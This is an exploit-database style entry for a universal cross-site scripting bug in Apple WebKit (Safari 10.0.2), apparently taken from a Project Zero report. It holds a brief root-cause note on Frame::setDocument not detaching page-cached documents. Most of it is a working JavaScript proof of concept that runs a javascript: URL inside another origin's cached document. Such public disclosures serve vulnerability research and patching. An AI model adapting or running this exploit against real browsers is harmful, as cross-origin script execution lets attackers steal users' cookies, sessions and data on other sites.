Apple WebKit 10.0.2(12602.3.12.0.1) - 'Frame::setDocument (1)' Universal Cross-Site Scripting

<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1056
 
void Frame::setDocument(RefPtr<Document>&& newDocument)
{
    ASSERT(!newDocument || newDocument->frame() == this);
 
    if (m_doc && m_doc->pageCacheState() != Document::InPageCache)
        m_doc->prepareForDestruction();
 
    m_doc = newDocument.copyRef();
    ...
}
 
The function |prepareForDestruction| only called when the cache state is not |Document::InPageCache|. So the frame will be never detached from the cached document.
 
PoC:
-->
 
"use strict";
 
document.write("click anywhere to start");
 
window.onclick = () => {
    let w = open("about:blank", "one");
    let d = w.document;
 
    let a = d.createElement("a");
    a.href = "https://abc.xyz/";
    a.click();  <<------- about:blank -> Document::InPageCache
 
    let it = setInterval(() => {
        try {
            w.location.href.toString;
        } catch (e) {
            clearInterval(it);
 
            let s = d.createElement("a");  <<------ about:blank's document
            s.href = "javascript:alert(location)";
            s.click();
        }
    }, 0);
};
 
 
<!--
Tested on Safari 10.0.2(12602.3.12.0.1).
-->